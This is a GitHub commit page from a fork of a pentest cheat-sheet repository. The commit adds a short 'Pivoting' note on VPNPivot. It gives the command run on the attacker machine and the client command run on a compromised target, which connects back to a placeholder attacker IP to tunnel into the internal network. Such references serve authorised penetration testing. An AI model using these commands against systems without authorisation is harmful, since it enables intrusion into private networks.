forked from Kitsun3Sec/Pentest-Cheat-Sheets
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
21 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
# Pivoting | ||
--- | ||
|
||
## VPNPivot | ||
|
||
#### On attacker machine | ||
|
||
`$ sudo pivots -i <iface> -p <port> -H <mac> -v` | ||
|
||
* <iface> is the virtual interface for the vpn itself, as example openvpn often creates tap0 or tun0, you can choose whaterver you want, like pwn0; | ||
* <mac> MAC address for the newly created device; | ||
* <port> whatever unused port you want | ||
|
||
|
||
#### On target machine | ||
|
||
`$ sudo pivotc <attacker-ip> <previously defined port> <internal network gateway ip>` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters